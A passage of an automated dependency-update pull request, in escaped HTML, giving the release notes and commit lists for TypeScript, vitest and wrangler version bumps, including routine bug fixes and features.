href=\"https://github.com/microsoft/TypeScript/compare/v6.0.3...v7.0.2\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by \u003ca href=\"https://www.npmjs.com/~microsoft1es\"\u003emicrosoft1es\u003c/a\u003e, a new releaser for typescript since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `vitest` from 4.1.12 to 5.0.5\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vitest-dev/vitest/releases\"\u003evitest's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev5.0.5\u003c/h2\u003e\n\u003ch3\u003e   🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eKeep vite default \u003ccode\u003efs.deny\u003c/code\u003e with api token file  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11578\"\u003evitest-dev/vitest#11578\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/28dc1edfb\"\u003e\u003c!-- raw HTML omitted --\u003e(28dc1)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eHandle quoted file names in \u003ccode\u003e--changed\u003c/code\u003e  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11583\"\u003evitest-dev/vitest#11583\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/14921e962\"\u003e\u003c!-- raw HTML omitted --\u003e(14921)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003edata\u003c/code\u003e to the \u003ccode\u003eimport.meta.hot\u003c/code\u003e stub  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11590\"\u003evitest-dev/vitest#11590\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/3a8289ac3\"\u003e\u003c!-- raw HTML omitted --\u003e(3a828)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSet \u003ccode\u003eskip\u003c/code\u003e in \u003ccode\u003eskipIf\u003c/code\u003e, ignore \u003ccode\u003eundefined\u003c/code\u003e options  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11591\"\u003evitest-dev/vitest#11591\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/d523a15f2\"\u003e\u003c!-- raw HTML omitted --\u003e(d523a)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSkip builtin loading in async leak detector  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11598\"\u003evitest-dev/vitest#11598\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/fe86a64c6\"\u003e\u003c!-- raw HTML omitted --\u003e(fe86a)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eKeep the import frame in native loader errors  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11599\"\u003evitest-dev/vitest#11599\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/9697b3894\"\u003e\u003c!-- raw HTML omitted --\u003e(9697b)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRun hook cleanups when a later hook fails  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11605\"\u003evitest-dev/vitest#11605\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6c5a44720\"\u003e\u003c!-- raw HTML omitted --\u003e(6c5a4)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRelease mocks of finished test files  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11607\"\u003evitest-dev/vitest#11607\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/e9c3d72f0\"\u003e\u003c!-- raw HTML omitted --\u003e(e9c3d)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAbort all running tests on cancel  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11606\"\u003evitest-dev/vitest#11606\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6621a72d6\"\u003e\u003c!-- raw HTML omitted --\u003e(6621a)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ebrowser\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eIgnore synthetic pagehide events  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11582\"\u003evitest-dev/vitest#11582\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/ca0813584\"\u003e\u003c!-- raw HTML omitted --\u003e(ca081)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRun plugin buildStart on server creation  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11593\"\u003evitest-dev/vitest#11593\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/ea611e44c\"\u003e\u003c!-- raw HTML omitted --\u003e(ea611)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eDrop late connections of closed sessions  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11600\"\u003evitest-dev/vitest#11600\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/f161e6df2\"\u003e\u003c!-- raw HTML omitted --\u003e(f161e)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eWait 30s for the browser to close  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11601\"\u003evitest-dev/vitest#11601\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6498b666a\"\u003e\u003c!-- raw HTML omitted --\u003e(6498b)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRun global setup once with instances  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11596\"\u003evitest-dev/vitest#11596\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/8dd67c262\"\u003e\u003c!-- raw HTML omitted --\u003e(8dd67)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ereporter\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eEnd reason \u003ccode\u003e\u0026amp;[#39](https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/39);failed\u0026amp;[#39](https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/39);\u003c/code\u003e on worker crash  -  by \u003ca href=\"https://github.com/AriPerkkio\"\u003e\u003ccode\u003e@​AriPerkkio\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11568\"\u003evitest-dev/vitest#11568\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6ae8e89ff\"\u003e\u003c!-- raw HTML omitted --\u003e(6ae8e)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003e    \u003ca href=\"https://github.com/vitest-dev/vitest/compare/v5.0.4...v5.0.5\"\u003eView changes on GitHub\u003c/a\u003e\u003c/h5\u003e\n\u003ch2\u003ev5.0.4\u003c/h2\u003e\n\u003ch3\u003e   🚀 Features\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eexperimental\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eTag cache directories with CACHEDIR.TAG  -  by \u003ca href=\"https://github.com/lifeiscontent\"\u003e\u003ccode\u003e@​lifeiscontent\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11461\"\u003evitest-dev/vitest#11461\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/a8ea3c8fd\"\u003e\u003c!-- raw HTML omitted --\u003e(a8ea3)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSupport \u003ccode\u003etest.ui.theme\u003c/code\u003e option  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11499\"\u003evitest-dev/vitest#11499\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/1da66405d\"\u003e\u003c!-- raw HTML omitted --\u003e(1da66)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eHighlight selector multiple matches in trace view  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11489\"\u003evitest-dev/vitest#11489\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/5abba1e1b\"\u003e\u003c!-- raw HTML omitted --\u003e(5abba)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ePrint how many tests were affected and a total when running \u003ccode\u003e--changed\u003c/code\u003e  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11424\"\u003evitest-dev/vitest#11424\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/a23368585\"\u003e\u003c!-- raw HTML omitted --\u003e(a2336)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd an option to cache dependencies instead of statically parsing them  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11515\"\u003evitest-dev/vitest#11515\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/c06012ac8\"\u003e\u003c!-- raw HTML omitted --\u003e(c0601)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd fit and zoom controls to trace viewer  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11490\"\u003evitest-dev/vitest#11490\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/f5dd99ed0\"\u003e\u003c!-- raw HTML omitted --\u003e(f5dd9)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e   🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFail the run on git and location filter errors  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11430\"\u003evitest-dev/vitest#11430\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/30d0304d2\"\u003e\u003c!-- raw HTML omitted --\u003e(30d03)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eEnable fsModuleCache by default  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11435\"\u003evitest-dev/vitest#11435\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/ad208cc29\"\u003e\u003c!-- raw HTML omitted --\u003e(ad208)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eTrack project files and mocks with --changed  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11432\"\u003evitest-dev/vitest#11432\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/b0f2b3bb9\"\u003e\u003c!-- raw HTML omitted --\u003e(b0f2b)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRefactor caching, fix \u003ccode\u003e:\u003c/code\u003e in project and change the shape of \u003ccode\u003eresults\u003c/code\u003e cache  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11453\"\u003evitest-dev/vitest#11453\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/9673c49a4\"\u003e\u003c!-- raw HTML omitted --\u003e(9673c)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eKeep full \u003ccode\u003e$\u003c/code\u003e string values when \u003ccode\u003etaskTitleValueFormatTruncate\u003c/code\u003e is 0  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11485\"\u003evitest-dev/vitest#11485\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/4f7e1799b\"\u003e\u003c!-- raw HTML omitted --\u003e(4f7e1)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eResolve node builtins in client environments  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11417\"\u003evitest-dev/vitest#11417\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/56b319ac6\"\u003e\u003c!-- raw HTML omitted --\u003e(56b31)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix module graph builtin externals after \u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11421\"\u003e#11421\u003c/a\u003e  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11491\"\u003evitest-dev/vitest#11491\u003c/a\u003e and \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11421\"\u003evitest-dev/vitest#11421\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/008e184cb\"\u003e\u003c!-- raw HTML omitted --\u003e(008e1)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eWrap module mocks during in-source testing  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11505\"\u003evitest-dev/vitest#11505\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/36d19cb00\"\u003e\u003c!-- raw HTML omitted --\u003e(36d19)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eHandle line endings in snapshot  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11522\"\u003evitest-dev/vitest#11522\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/4c468aa40\"\u003e\u003c!-- raw HTML omitted --\u003e(4c468)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRespect root in projects  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11521\"\u003evitest-dev/vitest#11521\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/26642f793\"\u003e\u003c!-- raw HTML omitted --\u003e(26642)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eResolve mocks in directories with spaces  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11539\"\u003evitest-dev/vitest#11539\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/caaef9416\"\u003e\u003c!-- raw HTML omitted --\u003e(caaef)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eapi\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003ePublish the api token atomically  -  by \u003ca href=\"https://github.com/umairnawaz333\"\u003e\u003ccode\u003e@​umairnawaz333\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11323\"\u003evitest-dev/vitest#11323\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6f990fef1\"\u003e\u003c!-- raw HTML omitted --\u003e(6f990)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ebrowser\u003c/strong\u003e:\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/7a825db43e2beca0b219d2eadaec334cb81af0c7\"\u003e\u003ccode\u003e7a825db\u003c/code\u003e\u003c/a\u003e chore: release v5.0.5 (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11609\"\u003e#11609\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/6621a72d6ed371e43f80ff327f5063693bd6b1ad\"\u003e\u003ccode\u003e6621a72\u003c/code\u003e\u003c/a\u003e fix: abort all running tests on cancel (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11606\"\u003e#11606\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/e9c3d72f0c8d6867de06a3df43ea28a05eeec444\"\u003e\u003ccode\u003ee9c3d72\u003c/code\u003e\u003c/a\u003e fix: release mocks of finished test files (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11607\"\u003e#11607\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/8dd67c2625943d824e257b87ae57a14094e90eed\"\u003e\u003ccode\u003e8dd67c2\u003c/code\u003e\u003c/a\u003e fix(browser): run global setup once with instances (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11596\"\u003e#11596\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/6c5a447203a29a0708fbc5de4fb91ea501bdc395\"\u003e\u003ccode\u003e6c5a447\u003c/code\u003e\u003c/a\u003e fix: run hook cleanups when a later hook fails (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11605\"\u003e#11605\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/9697b3894f456b85db91f3824ebe833449305c04\"\u003e\u003ccode\u003e9697b38\u003c/code\u003e\u003c/a\u003e fix: keep the import frame in native loader errors (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11599\"\u003e#11599\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/6498b666a3ae8961f6f2a8abdc89015b6fd0b3aa\"\u003e\u003ccode\u003e6498b66\u003c/code\u003e\u003c/a\u003e fix(browser): wait 30s for the browser to close (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11601\"\u003e#11601\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/f161e6df2b3c0bc84982d374094379139e380791\"\u003e\u003ccode\u003ef161e6d\u003c/code\u003e\u003c/a\u003e fix(browser): drop late connections of closed sessions (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11600\"\u003e#11600\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/fe86a64c6c6aa75481bffe5880b5c4e35ea67927\"\u003e\u003ccode\u003efe86a64\u003c/code\u003e\u003c/a\u003e fix: skip builtin loading in async leak detector (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11598\"\u003e#11598\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/6ae8e89ff0734cf476e30186a83aebe6771aa330\"\u003e\u003ccode\u003e6ae8e89\u003c/code\u003e\u003c/a\u003e fix(reporter): end reason \u003ccode\u003e'failed'\u003c/code\u003e on worker crash (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11568\"\u003e#11568\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/vitest-dev/vitest/commits/v5.0.5/packages/vitest\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `wrangler` from 4.151.0 to 4.151.3\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/cloudflare/workers-sdk/releases\"\u003ewrangler's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ewrangler@4.151.3\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/cloudflare/workers-sdk/pull/15611\"\u003e#15611\u003c/a\u003e \u003ca href=\"https://github.com/cloudflare/workers-sdk/commit/45081725e9e5cb79b76ade277a7e61395cb55950\"\u003e\u003ccode\u003e4508172\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/taylorlee\"\u003e\u003ccode\u003e@​taylorlee\u003c/code\u003e\u003c/a\u003e! - Allow \u003ccode\u003ewrangler dev\u003c/code\u003e to start module Workers without a default export\u003c/p\u003e\n\u003cp\u003ePreviously, \u003ccode\u003ewrangler dev\u003c/code\u003e failed to start module Workers that exported only named entrypoints, such as RPC services, unless an unused default export was added. These Workers now start normally in local development without that workaround.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/cloudflare/workers-sdk/pull/16370\"\u003e#16370\u003c/a\u003e \u003ca href=\"https://github.com/cloudflare/workers-sdk/commit/61fc7397b2982db1c9b099cbeaee3fd0428fdf8a\"\u003e\u003ccode\u003e61fc739\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/WalshyDev\"\u003e\u003ccode\u003e@​WalshyDev\u003c/code\u003e\u003c/a\u003e! - Fetch the remote config diff from the configured compliance region\u003c/p\u003e\n\u003cp\u003eWhen a Worker was last deployed from the dashboard, \u003ccode\u003ewrangler deploy\u003c/code\u003e and \u003ccode\u003ewrangler versions upload\u003c/code\u003e download its remote configuration to compare with the local one. These requests ignored the \u003ccode\u003ecompliance_region\u003c/code\u003e field in the Wrangler configuration file and only honoured the \u003ccode\u003eCLOUDFLARE_COMPLIANCE_REGION\u003c/code\u003e environment variable. A FedRAMP High Worker configured through the config file would send them to \u003ccode\u003eapi.cloudflare.com\u003c/code\u003e instead of \u003ccode\u003eapi.fed.cloudflare.com\u003c/code\u003e, and the deploy would fail with authentication errors. They now use the same compliance region as the rest of the deploy.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/cloudflare/workers-sdk/pull/15846\"\u003e#15846\u003c/a\u003e \u003ca href=\"https://github.com/cloudflare/workers-sdk/commit/a88cac4d880629a4ad68f7173b3353941bea6081\"\u003e\u003ccode\u003ea88cac4\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/oddharsh\"\u003e\u003ccode\u003e@​oddharsh\u003c/code\u003e\u003c/a\u003e! - Fail with an error instead of hanging when local dev requests can't work under Bun\u003c/p\u003e\n\u003cp\u003eBun's \u003ccode\u003efetch()\u003c/code\u003e ignores the undici \u003ccode\u003edispatcher\u003c/code\u003e\u003ccode\u003eoven-sh/bun#39247\u003c/code\u003e\u003ccode\u003ecreateTestHarness()\u003c/code\u003e's \u003ccode\u003eserver.fetch()\u003c/code\u003e and \u003ccode\u003eserver.getWorker()\u003c/code\u003e's \u003ccode\u003efetch()\u003c/code\u003e, \u003ccode\u003eemail()\u003c/code\u003e and \u003ccode\u003escheduled()\u003c/code\u003e now throw a \u003ccode\u003eUserError\u003c/code\u003e, requests to the dev server URL get a 503 naming the cause, and starting remote bindings throws a \u003ccode\u003eUserError\u003c/code\u003e. Each of these used to hang with no error. \u003ccode\u003eserver.getWorker().getEnv()\u003c/code\u003e and \u003ccode\u003egetExport()\u003c/code\u003e keep working under Bun.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca 